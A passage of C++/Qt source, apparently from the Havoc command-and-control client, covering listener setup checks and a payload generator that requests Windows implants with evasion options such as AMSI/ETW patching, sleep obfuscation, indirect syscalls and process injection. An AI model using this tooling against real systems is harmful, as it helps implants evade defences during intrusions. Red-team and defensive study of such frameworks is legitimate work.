ComboPayload->currentText();\n\n    if ( ( Payload.compare( HavocSpace::Listener::PayloadHTTPS ) == 0 ) ||\n         ( Payload.compare( HavocSpace::Listener::PayloadHTTP  ) == 0 ) )\n    {\n        if ( InputListenerName->text().isEmpty() )\n        {\n            MessageBox( \"Listener Error\", \"No Listener Name specified\", QMessageBox::Critical );\n\n            return;\n        }\n\n        if ( InputPortBind->text().isEmpty() )\n        {\n            MessageBox( \"Listener Error\", \"No PortBind specified\", QMessageBox::Critical );\n\n            return;\n        }\n        else\n        {\n            if ( ! is_number( InputPortBind->text().toStdString() ) )\n            {\n                MessageBox( \"Listener Error\", \"PortBind is not a number\", QMessageBox::Critical );\n\n                return;\n            }\n        }\n\n        if ( InputPortConn->text().isEmpty() )\n        {\n            MessageBox( \"Listener Error\", \"No PortConn specified\", QMessageBox::Critical );\n\n            return;\n        }\n        else\n        {\n            if ( ! is_number( InputPortConn->text().toStdString() ) )\n            {\n                MessageBox( \"Listener Error\", \"PortConn is not a number\", QMessageBox::Critical );\n\n                return;\n            }\n        }\n\n        if ( InputUserAgent->text().isEmpty() )\n        {\n            MessageBox( \"Listener Error\", \"No UserAgent specified\", QMessageBox::Critical );\n\n            return;\n        }\n\n        if ( CheckEnableProxy->isChecked() )\n        {\n            if ( InputProxyHost->text().isEmpty() )\n            {\n                MessageBox( \"Listener Error\", \"No Proxy Host specified\", QMessageBox::Critical );\n\n                return;\n            }\n\n            if ( InputProxyPort->text().isEmpty() )\n            {\n                MessageBox( \"Listener Error\", \"No Proxy Port specified\", QMessageBox::Critical );\n\n                return;\n            }\n            else\n            {\n                if ( ! is_number( InputProxyPort->text().toStdString() ) )\n                {\n                    MessageBox( \"Listener Error\", \"Port is not a number\", QMessageBox::Critical );\n                    return;\n                }\n            }\n        }\n\n    }\n    else if ( Payload.compare( HavocSpace::Listener::PayloadSMB )  == 0 )\n    {\n        if ( InputPipeName->text().isEmpty() )\n        {\n            MessageBox( \"Listener Error\", \"No Pipe name specified\", QMessageBox::Critical );\n\n            return;\n        }\n    }\n    else if ( Payload.compare( HavocSpace::Listener::PayloadExternal )  == 0 )\n    {\n        if ( InputEndpoint->text().isEmpty() )\n        {\n            MessageBox( \"Listener Error\", \"No Endpoint specified\", QMessageBox::Critical );\n\n            return;\n        }\n    }\n    else\n    {\n        for ( const auto& listener : ServiceListeners )\n        {\n            if ( Payload.compare( listener.Name.c_str() ) == 0 )\n            {\n                for ( auto item : listener.Items )\n                {\n                    auto object = item[ \"object\" ].get<std::string>();\n\n                    /* if object type is \"input\" */\n                    if ( object == \"input\" )\n                    {\n                        auto Line = ( ( QLineEdit* ) item[ \"Line\" ].get<::uint64_t>() );\n\n                        /* if the operator didn't specify a value that is required then let that operator know. */\n                        if ( item[ \"required\" ].get<bool>() && Line->text().isEmpty() )\n                        {\n                            auto itemName = QString( item[ \"name\" ].get<std::string>().c_str() );\n                            MessageBox( \"Listener Error\", \"No \" + itemName + \" specified\", QMessageBox::Critical );\n                            return;\n                        }\n                    }\n\n                }\n            }\n        }\n    }\n\n    this->DialogSaved = true;\n    this->ListenerDialog->close();\n}\n\nvoid HavocNamespace::UserInterface::Dialogs::NewListener::onProxyEnabled()\n{\n    if ( CheckEnableProxy->isChecked() )\n    {\n        ProxyConfigBox->setEnabled( true );\n\n        auto style = QString( \"color: #f8f8f2;\" );\n        LabelProxyType->setStyleSheet( style );\n        LabelProxyHost->setStyleSheet( style );\n        LabelProxyPort->setStyleSheet( style );\n        LabelUserName->setStyleSheet( style );\n        LabelPassword->setStyleSheet( style );\n\n        InputProxyHost->setReadOnly( false );\n        InputProxyPort->setReadOnly( false );\n        InputUserName->setReadOnly( false );\n        InputPassword->setReadOnly( false );\n\n        LabelProxyHost->setEnabled( false );\n        LabelProxyPort->setEnabled( false );\n        LabelUserName->setEnabled( false );\n        LabelPassword->setEnabled( false );\n    }\n    else\n    {\n        ProxyConfigBox->setEnabled( false );\n\n        auto style = QString( \"color: #44475a;\" );\n        LabelProxyType->setStyleSheet( style );\n        LabelProxyHost->setStyleSheet( style );\n        LabelProxyPort->setStyleSheet( style );\n        LabelUserName->setStyleSheet( style );\n        LabelPassword->setStyleSheet( style );\n\n        InputProxyHost->setReadOnly( true );\n        InputProxyPort->setReadOnly( true );\n        InputUserName->setReadOnly( true );\n        InputPassword->setReadOnly( true );\n\n        LabelProxyHost->setEnabled( true );\n        LabelProxyPort->setEnabled( true );\n        LabelUserName->setEnabled( true );\n        LabelPassword->setEnabled( true );\n    }\n}\n\nauto NewListener::Free() -> void\n{\n    for ( auto listener : ServiceListeners )\n    {\n        for ( auto item : listener.Items )\n        {\n            // delete ( QLabel* )    listener.Items[ item ][ \"Label\" ].get<uint64_t>();\n            // delete ( QLineEdit* ) listener.Items[ item ][ \"Line\"  ].get<uint64_t>();\n        }\n\n        delete listener.Layout;\n        delete listener.Page;\n    }\n}\n"
  },
  {
    "path": "client/src/UserInterface/Dialogs/Payload.cc",
    "content": "#include <global.hpp>\n\n#include <UserInterface/Dialogs/Payload.hpp>\n#include <UserInterface/Dialogs/Listener.hpp>\n#include <Havoc/Packager.hpp>\n#include <Havoc/Connector.hpp>\n#include <Util/ColorText.h>\n\n#include <QIODevice>\n#include <QFileDialog>\n#include <QJsonArray>\n#include <QHeaderView>\n#include <vector>\n\nusing namespace std;\n\nvoid Payload::setupUi( QDialog* Dialog )\n{\n    PayloadDialog = Dialog;\n\n    if ( PayloadDialog->objectName().isEmpty() )\n        PayloadDialog->setObjectName( QString::fromUtf8( \"PayloadDialog\" ) );\n\n    PayloadDialog->resize( 550, 660 );\n\n    gridLayout_3  = new QGridLayout( PayloadDialog );\n    OptionsBox    = new QGroupBox( PayloadDialog );\n    gridLayout_2  = new QGridLayout( OptionsBox );\n    ComboListener = new QComboBox( OptionsBox );\n\n    horizontalSpacer   = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    horizontalSpacer_2 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    horizontalSpacer_3 = new QSpacerItem( 40, 5,  QSizePolicy::Expanding, QSizePolicy::Minimum );\n    horizontalSpacer_4 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    horizontalSpacer_5 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    horizontalSpacer_6 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n    horizontalSpacer_7 = new QSpacerItem( 40, 20, QSizePolicy::Expanding, QSizePolicy::Minimum );\n\n    gridLayout_3->setObjectName( QString::fromUtf8( \"gridLayout_3\" ) );\n    OptionsBox->setObjectName( QString::fromUtf8( \"OptionsBox\" ) );\n    gridLayout_2->setObjectName( QString::fromUtf8( \"gridLayout_2\" ) );\n    ComboListener->setObjectName( QString::fromUtf8( \"ComboListener\" ) );\n\n    gridLayout_2->addWidget( ComboListener, 0, 1, 1, 1 );\n\n    LabelListener = new QLabel( OptionsBox );\n    LabelListener->setObjectName( QString::fromUtf8( \"LabelListener\" ) );\n\n    gridLayout_2->addWidget( LabelListener, 0, 0, 1, 1 );\n\n    ComboFormat = new QComboBox( OptionsBox );\n    ComboFormat->setObjectName( QString::fromUtf8( \"ComboFormat\" ) );\n\n    gridLayout_2->addWidget( ComboFormat, 2, 1, 1, 1 );\n\n    ComboArch = new QComboBox( OptionsBox );\n    ComboArch->setObjectName( QString::fromUtf8( \"ComboArch\" ) );\n\n    gridLayout_2->addWidget( ComboArch, 1, 1, 1, 1 );\n\n    LabelArch = new QLabel( OptionsBox );\n    LabelArch->setObjectName( QString::fromUtf8( \"LabelArch\" ) );\n\n    gridLayout_2->addWidget( LabelArch, 1, 0, 1, 1 );\n\n    LabelFormat = new QLabel( OptionsBox );\n    LabelFormat->setObjectName( QString::fromUtf8( \"LabelFormat\" ) );\n\n    gridLayout_2->addWidget( LabelFormat, 2, 0, 1, 1 );\n\n    gridLayout_2->addItem( horizontalSpacer_3, 3, 1, 1, 1 );\n\n    TreeConfig = new QTreeWidget( OptionsBox );\n    TreeConfig->headerItem()->setText( 0, \"Config\" );\n    TreeConfig->headerItem()->setText( 1, \"Value\" );\n    TreeConfig->header()->resizeSection( 0, 155 );\n\n    gridLayout_2->addWidget( TreeConfig, 4, 0, 1, 2 );\n    gridLayout_3->addWidget( OptionsBox, 1, 0, 1, 8 );\n\n    gridLayout_3->addItem( horizontalSpacer_5, 4, 4, 1, 1 );\n    gridLayout_3->addItem( horizontalSpacer_2, 4, 6, 1, 1 );\n\n    ButtonGenerate = new QPushButton( PayloadDialog );\n    ButtonGenerate->setObjectName( QString::fromUtf8( \"ButtonGenerate\" ) );\n\n    gridLayout_3->addWidget( ButtonGenerate, 4, 3, 1, 1 );\n\n    gridLayout_3->addItem( horizontalSpacer_6, 4, 1, 1, 1 );\n    gridLayout_3->addItem( horizontalSpacer,   4, 0, 1, 1 );\n    gridLayout_3->addItem( horizontalSpacer_4, 4, 2, 1, 1 );\n\n    LabelAgentType = new QLabel( PayloadDialog );\n    LabelAgentType->setObjectName( QString::fromUtf8( \"LabelAgentType\" ) );\n\n    gridLayout_3->addWidget( LabelAgentType, 0, 0, 1, 1 );\n\n    BuildConsoleBox = new QGroupBox( PayloadDialog );\n    BuildConsoleBox->setObjectName( QString::fromUtf8( \"BuildConsoleBox\" ) );\n    gridLayout = new QGridLayout( BuildConsoleBox );\n    gridLayout->setSpacing( 3 );\n    gridLayout->setObjectName( QString::fromUtf8( \"gridLayout\" ) );\n    gridLayout->setContentsMargins( 3, 3, 3, 3 );\n\n    ConsoleText = new QTextEdit( BuildConsoleBox );\n    ConsoleText->setObjectName( QString::fromUtf8( \"ConsoleText\" ) );\n    ConsoleText->setReadOnly( true );\n\n    gridLayout->addWidget( ConsoleText, 0, 0, 1, 1 );\n\n    gridLayout_3->addWidget( BuildConsoleBox, 3, 0, 1, 8 );\n\n    gridLayout_3->addItem( horizontalSpacer_7, 4, 5, 1, 1 );\n\n    ComboAgentType = new QComboBox( PayloadDialog );\n    ComboAgentType->setObjectName( QString::fromUtf8( \"ComboAgentType\" ) );\n\n    gridLayout_3->addWidget( ComboAgentType, 0, 1, 1, 7 );\n\n    retranslateUi(  );\n\n    connect( ButtonGenerate, &QPushButton::clicked, this, &Payload::buttonGenerate );\n    connect( ComboAgentType, &QComboBox::currentTextChanged, this, &Payload::CtxAgentPayloadChange );\n    connect( ComboFormat, &QComboBox::currentTextChanged, this, [&]( const QString& text ){\n\n        // only add config if our agent type is the default one (demon)\n        if ( ComboAgentType->currentText().compare( \"Demon\" ) == 0 )\n            DefaultConfig();\n\n    } );\n\n    QMetaObject::connectSlotsByName( PayloadDialog );\n}\n\nauto Payload::retranslateUi() -> void\n{\n    PayloadDialog->setStyleSheet( FileRead( \":/stylesheets/Dialogs/BasicDialog\" ) );\n\n    PayloadDialog->setWindowTitle( QCoreApplication::translate( \"PayloadDialog\", \"Payload\", nullptr ) );\n    OptionsBox->setTitle( QCoreApplication::translate( \"PayloadDialog\", \"Options\", nullptr ) );\n\n    if ( HavocX::Teamserver.Listeners.size() > 0 )\n    {\n        ComboListener->setDisabled( false );\n        for ( auto& Listener : HavocX::Teamserver.Listeners )\n        {\n            if ( Listener.Status.compare( \"Offline\" ) != 0 )\n                ComboListener->addItem( Listener.Name.c_str() );\n        }\n    }\n    else\n    {\n        ComboListener->addItem( \"[ Empty ]\" );\n        ComboListener->setDisabled( true );\n    }\n\n\n    LabelListener->setText( QCoreApplication::translate( \"PayloadDialog\", \"Listener:   \", nullptr ) );\n\n    DefaultConfig();\n\n    ComboFormat->addItem( \"Windows Exe\" );\n    ComboFormat->addItem( \"Windows Dll\" );\n    ComboFormat->addItem( \"Windows Shellcode\" );\n\n    ComboArch->addItem( \"x64\" );\n    ComboArch->addItem( \"x86\" );\n\n    ComboAgentType->addItem( \"Demon\" );\n\n    for ( auto& Agents : HavocX::Teamserver.ServiceAgents )\n        ComboAgentType->addItem( Agents.Name );\n\n    LabelArch->setText( QCoreApplication::translate( \"PayloadDialog\", \"Arch\", nullptr ) );\n    LabelFormat->setText( QCoreApplication::translate( \"PayloadDialog\", \"Format\", nullptr ) );\n    ButtonGenerate->setText( QCoreApplication::translate( \"PayloadDialog\", \"Generate\", nullptr ) );\n    ButtonGenerate->setStyleSheet(\n        \"padding-top: 5px;\"\n        \"padding-bottom: 5px;\"\n        \"padding-left: 10px;\"\n        \"padding-right: 10px;\"\n    );\n    LabelAgentType->setText( QCoreApplication::translate( \"PayloadDialog\", \"Agent:\", nullptr ) );\n    BuildConsoleBox->setTitle( QCoreApplication::translate( \"PayloadDialog\", \"Building Console\", nullptr ) );\n    BuildConsoleBox->setStyleSheet(\n      \"border: 1px solid #282a36;\"\n    );\n}\n\nvoid Payload::buttonGenerate()\n{\n    if ( HavocX::Teamserver.Listeners.size() == 0 )\n    {\n        auto messageBox = QMessageBox(  );\n\n        messageBox.setWindowTitle( \"Payload Generator Error\" );\n        messageBox.setText( \"No Listener specified/available\" );\n        messageBox.setIcon( QMessageBox::Critical );\n        messageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n        messageBox.setMaximumSize( QSize(500, 500 ) );\n        messageBox.exec();\n\n        return;\n    }\n    else\n    {\n        for ( auto& listener : HavocX::Teamserver.Listeners )\n        {\n            if ( ComboListener->currentText().toStdString() == listener.Name )\n            {\n                if ( listener.Status.compare( \"Offline\" ) == 0 )\n                {\n                    MessageBox( \"Payload Generator Error\", \"Selected listener is offline\", QMessageBox::Critical );\n                    return;\n                }\n            }\n        }\n    }\n\n    ConsoleText->clear();\n\n    auto Config  = GetConfigAsJson().toJson().toStdString();\n    auto Package = new Util::Packager::Package;\n\n    auto Head = Util::Packager::Head_t {\n            .Event   = Util::Packager::Gate::Type,\n            .User    = HavocX::Teamserver.User.toStdString(),\n            .Time    = CurrentTime().toStdString(),\n            .OneTime = \"true\",\n    };\n\n    auto Body = Util::Packager::Body_t {\n            .SubEvent = Util::Packager::Gate::Stageless,\n            .Info = {\n                { \"AgentType\", this->ComboAgentType->currentText().toStdString() },\n                { \"Listener\",  this->ComboListener->currentText().toStdString() },\n                { \"Arch\",      this->ComboArch->currentText().toStdString() },\n                { \"Format\",    this->ComboFormat->currentText().toStdString() },\n                { \"Config\",    Config },\n            },\n    };\n\n    Package->Head = Head;\n    Package->Body = Body;\n    HavocX::GateGUI = true;\n\n    HavocX::Connector->SendPackage( Package );\n}\n\nauto Payload::ReceivedImplantAndSave( QString FileName, QByteArray ImplantArray ) -> void\n{\n    auto FileDialog = QFileDialog();\n    auto Filename   = QUrl();\n    auto Style      = FileRead( \":/stylesheets/Dialogs/FileDialog\" ).toStdString();\n\n    Style.erase( std::remove( Style.begin(), Style.end(), '\\n' ), Style.end() );\n\n    FileDialog.setStyleSheet( Style.c_str() );\n    FileDialog.setAcceptMode( QFileDialog::AcceptSave );\n    FileDialog.setDirectory( QDir::homePath() );\n    FileDialog.selectFile( FileName );\n\n    if ( FileDialog.exec() == QFileDialog::Accepted )\n    {\n        Filename = FileDialog.selectedUrls().value( 0 ).toLocalFile();\n\n        if ( ! Filename.toString().isNull() )\n        {\n            // Save to file\n            auto file       = QFile( Filename.toString() );\n            auto messageBox = QMessageBox(  );\n\n            if ( file.open( QIODevice::ReadWrite ) ) {\n                file.write( ImplantArray );\n            } else {\n                auto name = Filename.toString().toStdString();\n                spdlog::error( \"Couldn't write to file {}\", name );\n            }\n\n            file.close();\n\n            messageBox.setWindowTitle( \"Payload Generator\" );\n            messageBox.setText( \"Payload saved under: \" + Filename.toString() );\n            messageBox.setIcon( QMessageBox::Information );\n            messageBox.setStyleSheet( FileRead( \":/stylesheets/MessageBox\" ) );\n            messageBox.setMaximumSize( QSize(500, 500 ) );\n            messageBox.exec();\n\n            PayloadDialog->done( 0 );\n        }\n    }\n}\n\nauto Payload::addConsoleLog( QString MsgType, QString Message ) -> void\n{\n    Message = Message.replace( \"\\n\", \"<br>\" );\n\n    if ( MsgType.compare( \"Good\" ) == 0 )\n    {\n        ConsoleText->append( Util::ColorText::Green( \"[+] \" ) + Message );\n    }\n    else if ( MsgType.compare( \"Info\" ) == 0 )\n    {\n        ConsoleText->append( Util::ColorText::Cyan( \"[*] \" ) + Message );\n    }\n    else if ( MsgType.compare( \"Error\" ) == 0 )\n    {\n        ConsoleText->append( Util::ColorText::Red( \"[-] \" ) + Message );\n    }\n    else if ( MsgType.compare( \"Warning\" ) == 0 || MsgType.compare( \"Warn\" ) == 0 )\n    {\n        ConsoleText->append( Util::ColorText::Yellow( \"[!] \" ) + Message );\n    }\n    else\n    {\n        ConsoleText->append( Util::ColorText::Yellow( \"[^] \" ) + Message );\n    }\n}\n\nauto Payload::CtxAgentPayloadChange( const QString& AgentType ) -> void\n{\n    if ( ! Closed )\n    {\n        for ( auto& Agent : HavocX::Teamserver.ServiceAgents )\n        {\n            if ( AgentType.compare( Agent.Name ) == 0 )\n            {\n                ComboFormat->clear();\n                ComboArch->clear();\n\n                AddConfigFromJson( Agent.BuildingConfig );\n\n                for ( const auto& Arch : Agent.Arch )\n                    ComboArch->addItem( Arch );\n\n                for ( const auto& Format : Agent.Formats )\n                    ComboFormat->addItem( Format.Name );\n\n                return;\n            }\n        }\n\n        if ( AgentType.compare( \"Demon\" ) == 0 )\n        {\n            // If agent not found means it's the default Demon\n            DefaultConfig();\n\n            ComboFormat->clear();\n            ComboFormat->addItem( \"Windows Exe\" );\n            ComboFormat->addItem( \"Windows Dll\" );\n            ComboFormat->addItem( \"Windows Shellcode\" );\n            ComboFormat->addItem( \"Windows Service Exe\" );\n\n            ComboArch->clear();\n            ComboArch->addItem( \"x64\" );\n            ComboArch->addItem( \"x86\" );\n        }\n    }\n}\n\nauto Payload::Clear() -> void\n{\n    Closed = true;\n\n    ComboAgentType->setCurrentIndex( 0 );\n    ComboListener->setCurrentIndex( 0 );\n    ComboFormat->setCurrentIndex( 0 );\n    ComboArch->setCurrentIndex( 0 );\n\n    ConsoleText->clear();\n}\n\nauto Payload::AddConfigFromJson( QJsonDocument Config ) -> void\n{\n    auto Object = Config.object();\n\n    TreeConfig->clear();\n\n    for ( const auto& Key : Object.keys() )\n    {\n        auto KeyValue   = Object[ Key ];\n        auto TreeItem   = new QTreeWidgetItem( TreeConfig );\n        auto ObjectItem = ( QWidget* ) nullptr;\n\n        TreeItem->setText( 0, Key );\n        TreeItem->setFlags( Qt::NoItemFlags );\n\n        if ( KeyValue.isBool() )\n        {\n            ObjectItem = new QCheckBox;\n            ObjectItem->setObjectName( \"bool\" );\n            ( ( QCheckBox* ) ObjectItem )->setChecked( KeyValue.toBool() );\n\n            auto p = ObjectItem->palette();\n            p.setColor( QPalette::Window, Qt::gray );\n            ObjectItem->setPalette( p );\n\n            TreeConfig->setItemWidget( TreeItem, 1, ObjectItem );\n        }\n        else if ( KeyValue.isString() )\n        {\n            ObjectItem = new QLineEdit;\n            ObjectItem->setObjectName( \"text\" );\n            ( ( QLineEdit* ) ObjectItem )->setText( KeyValue.toString() );\n\n            TreeConfig->setItemWidget( TreeItem, 1, ObjectItem );\n        }\n        else if ( KeyValue.isArray() )\n        {\n            auto List = QStringList();\n\n            ObjectItem = new QComboBox;\n            ObjectItem->setObjectName( \"list\" );\n\n            for ( auto item : KeyValue.toArray() )\n                List << item.toString();\n\n            ( ( QComboBox* ) ObjectItem )->addItems( List );\n\n            TreeConfig->setItemWidget( TreeItem, 1, ObjectItem );\n        }\n        else if ( KeyValue.isObject() )\n        {\n            auto SubObject = KeyValue.toObject();\n\n            for ( const auto& SubKey : SubObject.keys() )\n            {\n                auto SubKeyValue   = SubObject[ SubKey ];\n                auto TreeChildItem = new QTreeWidgetItem( TreeItem );\n\n                TreeChildItem->setText( 0, SubKey );\n\n                if ( SubKeyValue.isBool() )\n                {\n                    ObjectItem = new QCheckBox;\n                    ObjectItem->setObjectName( \"bool\" );\n                    ( ( QCheckBox* ) ObjectItem )->setChecked( SubKeyValue.toBool() );\n\n                    auto p = ObjectItem->palette();\n                    p.setColor( QPalette::Window, Qt::gray );\n                    ObjectItem->setPalette( p );\n\n                    TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem );\n                }\n                else if ( SubKeyValue.isString() )\n                {\n                    ObjectItem = new QLineEdit;\n                    ObjectItem->setObjectName( \"text\" );\n                    ( ( QLineEdit* ) ObjectItem )->setText( SubKeyValue.toString() );\n\n                    TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem );\n                }\n                else if ( SubKeyValue.isArray() )\n                {\n                    auto List = QStringList();\n\n                    ObjectItem = new QComboBox;\n                    ObjectItem->setObjectName( \"list\" );\n\n                    for ( auto item : SubKeyValue.toArray() )\n                        List << item.toString();\n\n                    ( ( QComboBox* ) ObjectItem )->addItems( List );\n\n                    TreeConfig->setItemWidget( TreeChildItem, 1, ObjectItem );\n                }\n            }\n        }\n    }\n\n}\n\nauto Payload::DefaultConfig() -> void\n{\n    TreeConfig->clear();\n\n    auto Format                  = ComboFormat->currentText();\n    auto DemonConfig             = HavocX::Teamserver.DemonConfig;\n    auto ConfigSleep             = new QTreeWidgetItem( TreeConfig );\n    auto ConfigJitter            = new QTreeWidgetItem( TreeConfig );\n    auto ConfigServiceName       = ( QTreeWidgetItem* ) nullptr;\n    auto ConfigServiceNameInput  = ( QLineEdit* ) nullptr;\n\n    if ( Format.compare( \"Windows Service Exe\" ) == 0 ) {\n        ConfigServiceName       = new QTreeWidgetItem( TreeConfig );\n        ConfigServiceNameInput  = new QLineEdit( \"DemonSvc\" );\n    }\n\n    auto ConfigIndirectSyscalls  = new QTreeWidgetItem( TreeConfig );\n    auto ConfigSleepStackSpoof   = new QTreeWidgetItem( TreeConfig );\n    auto ConfigSleepObfTechnique = new QTreeWidgetItem( TreeConfig );\n    auto ConfigSleepJmpBypass    = new QTreeWidgetItem( TreeConfig );\n    auto ConfigProxyLoading      = new QTreeWidgetItem( TreeConfig );\n    auto ConfigAmsiEtwPatch      = new QTreeWidgetItem( TreeConfig );\n    auto ConfigInjection         = new QTreeWidgetItem( TreeConfig );\n    auto ConfigInjectionAlloc    = new QTreeWidgetItem( ConfigInjection );\n    auto ConfigInjectionExecute  = new QTreeWidgetItem( ConfigInjection );\n    auto ConfigInjectionSpawn64  = new QTreeWidgetItem( ConfigInjection );\n    auto ConfigInjectionSpawn32  = new QTreeWidgetItem( ConfigInjection );\n\n    auto Jitter = DemonConfig[ \"Jitter\" ].toInt();\n    if ( Jitter < 0 || Jitter > 100 ) {\n        Jitter = 0;\n    }\n\n    auto SleepObfTechnique       = new QComboBox;\n    auto SleepObfJmpBypass       = new QComboBox;\n    auto SleepObfSpoofAddress    = new QLineEdit;\n    auto ConfigSleepLineEdit     = new QLineEdit( QString::number( DemonConfig[ \"Sleep\" ].toInt() ) );\n    auto ConfigJitterLineEdit    = new QLineEdit( QString::number( Jitter ) );\n    auto ConfigIndSyscallCheck   = new QCheckBox;\n    auto ConfigInjectAlloc       = new QComboBox;\n    auto ConfigInjectExecute     = new QComboBox;\n    auto ConfigStackSpoof        = new QCheckBox;\n    auto ProxyLoading            = new QComboBox;\n    auto AmsiEtwPatch            = new QComboBox;\n    auto ConfigSpawn64LineEdit   = new QLineEdit( DemonConfig[ \"ProcessInjection\" ].toObject()[ \"Spawn64\" ].toString() );\n    auto ConfigSpawn32LineEdit   = new QLineEdit( DemonConfig[ \"ProcessInjection\" ].toObject()[ \"Spawn32\" ].toString() );\n    auto DefaultIndSyscallCheck  = DemonConfig[ \"IndirectSyscall\" ].toBool();\n    auto DefaultStackDuplication = DemonConfig[ \"StackDuplication\" ].toBool();\n    auto DefaultSleepTechnique   = DemonConfig[ \"SleepTechnique\" ].toString();\n    auto DefaultProxyLoading     = DemonConfig[ \"ProxyLoading\" ].toString();\n    auto DefaultAmsiEtwPatching  = DemonConfig[ \"AmsiEtwPatching\" ].toString();\n\n    ConfigSleep->setFlags( Qt::NoItemFlags );\n    ConfigJitter->setFlags( Qt::NoItemFlags );\n    if ( Format.compare( \"Windows Service Exe\" ) == 0 )\n    {\n        ConfigServiceName->setFlags( Qt::NoItemFlags );\n        ConfigServiceNameInput->setObjectName( \"ConfigItem\" );\n    }\n\n    ConfigIndirectSyscalls->setFlags( Qt::NoItemFlags );\n    ConfigInjection->setFlags( Qt::NoItemFlags );\n    ConfigProxyLoading->setFlags( Qt::NoItemFlags );\n    ConfigAmsiEtwPatch->setFlags( Qt::NoItemFlags );\n    ConfigSleepObfTechnique->setFlags( Qt::NoItemFlags );\n    ConfigSleepJmpBypass->setFlags( Qt::NoItemFlags );\n    ConfigSleepStackSpoof->setFlags( Qt::NoItemFlags );\n    ConfigInjectionSpawn64->setFlags( Qt::NoItemFlags );\n    ConfigInjectionSpawn32->setFlags( Qt::NoItemFlags );\n\n    ConfigSleepLineEdit->setObjectName( \"ConfigItem\" );\n    ConfigJitterLineEdit->setObjectName( \"ConfigItem\" );\n    ConfigIndSyscallCheck->setObjectName( \"ConfigItem\" );\n    ConfigStackSpoof->setObjectName( \"ConfigItem\" );\n    ConfigInjectAlloc->setObjectName( \"ConfigItem\" );\n    ConfigInjectExecute->setObjectName( \"ConfigItem\" );\n    ConfigSpawn64LineEdit->setObjectName( \"ConfigItem\" );\n    ConfigSpawn32LineEdit->setObjectName( \"ConfigItem\" );\n    SleepObfTechnique->setObjectName( \"ConfigItem\" );\n    SleepObfJmpBypass->setObjectName( \"ConfigItem\" );\n    SleepObfSpoofAddress->setObjectName( \"ConfigItem\" );\n    ProxyLoading->setObjectName( \"ConfigItem\" );\n    AmsiEtwPatch->setObjectName( \"ConfigItem\" );\n\n    ConfigIndSyscallCheck->setChecked( DefaultIndSyscallCheck );\n    ConfigStackSpoof->setChecked( DefaultStackDuplication );\n\n    SleepObfJmpBypass->addItems( QStringList() << \"None\" << \"jmp rax\" << \"jmp rbx\" );\n    ConfigInjectAlloc->addItems( QStringList() << \"Win32\" << \"Native/Syscall\" );\n    ConfigInjectExecute->addItems( QStringList() << \"Win32\" << \"Native/Syscall\" );\n    SleepObfTechnique->addItems( QStringList() << \"WaitForSingleObjectEx\" << \"Foliage\" << \"Ekko\" << \"Zilean\" );\n    ProxyLoading->addItems( QStringList() << \"None (LdrLoadDll)\" << \"RtlRegisterWait\" << \"RtlCreateTimer\" << \"RtlQueueWorkItem\" );\n    AmsiEtwPatch->addItems( QStringList() << \"None\" << \"Hardware breakpoints\" );\n\n    ConfigInjectAlloc->setCurrentIndex( 1 );\n    ConfigInjectExecute->setCurrentIndex( 1 );\n\n    SleepObfTechnique->setCurrentIndex( 0 );\n    if ( DefaultSleepTechnique == \"WaitForSingleObjectEx\" )\n        SleepObfTechnique->setCurrentIndex( 0 );\n    else if ( DefaultSleepTechnique == \"Foliage\" )\n        SleepObfTechnique->setCurrentIndex( 1 );\n    else if ( DefaultSleepTechnique == \"Ekko\" )\n        SleepObfTechnique->setCurrentIndex( 2 );\n    else if ( DefaultSleepTechnique == \"Zilean\" )\n        SleepObfTechnique->setCurrentIndex( 3 );\n\n    ProxyLoading->setCurrentIndex( 0 );\n    if ( DefaultProxyLoading == \"None\" )\n        ProxyLoading->setCurrentIndex( 0 );\n    else if ( DefaultProxyLoading == \"RtlRegisterWait\" )\n        ProxyLoading->setCurrentIndex( 1 );\n    else if ( DefaultProxyLoading == \"RtlCreateTimer\" )\n        ProxyLoading->setCurrentIndex( 2 );\n    else if ( DefaultProxyLoading == \"RtlQueueWorkItem\" )\n        ProxyLoading->setCurrentIndex( 3 );\n\n    AmsiEtwPatch->setCurrentIndex( 0 );\n    if ( DefaultAmsiEtwPatching == \"None\" )\n        AmsiEtwPatch->setCurrentIndex( 0 );\n    else if ( DefaultAmsiEtwPatching == \"Hardware breakpoints\" )\n        AmsiEtwPatch->setCurrentIndex( 1 );\n\n    TreeConfig->setItemWidget( ConfigSleep, 1, ConfigSleepLineEdit );\n    TreeConfig->setItemWidget( ConfigJitter, 1, ConfigJitterLineEdit );\n    if ( Format.compare( \"Windows Service Exe\" ) == 0 ) {\n        TreeConfig->setItemWidget( ConfigServiceName,  1, ConfigServiceNameInput );\n    }\n    TreeConfig->setItemWidget( ConfigIndirectSyscalls, 1, ConfigIndSyscallCheck );\n    TreeConfig->setItemWidget( ConfigSleepObfTechnique,1, SleepObfTechnique );\n    TreeConfig->setItemWidget( ConfigSleepJmpBypass,   1, SleepObfJmpBypass );\n    TreeConfig->setItemWidget( ConfigSleepStackSpoof,  1, ConfigStackSpoof );\n    TreeConfig->setItemWidget( ConfigProxyLoading,     1, ProxyLoading );\n    TreeConfig->setItemWidget( ConfigAmsiEtwPatch,     1, AmsiEtwPatch );\n\n    TreeConfig->setItemWidget( ConfigInjectionAlloc,   1, ConfigInjectAlloc );\n    TreeConfig->setItemWidget( ConfigInjectionExecute, 1, ConfigInjectExecute );\n    TreeConfig->setItemWidget( ConfigInjectionSpawn64, 1, ConfigSpawn64LineEdit );\n    TreeConfig->setItemWidget( ConfigInjectionSpawn32, 1, ConfigSpawn32LineEdit );\n\n    ConfigSleep->setText( 0, \"Sleep\" );\n    ConfigJitter->setText( 0, \"Jitter\" );\n\n    if ( Format.compare( \"Windows Service Exe\" ) == 0 ) {\n        ConfigServiceName->setText( 0, \"Service Name\" );\n    }\n\n    ConfigIndirectSyscalls->setText(  0, \"Indirect Syscall\" );\n    ConfigSleepObfTechnique->setText( 0, \"Sleep Technique\" );\n    ConfigSleepJmpBypass->setText( 0, \"Sleep Jmp Gadget\" );\n    ConfigSleepStackSpoof->setText( 0, \"Stack Duplication\" );\n    ConfigProxyLoading->setText( 0, \"Proxy Loading\" );\n    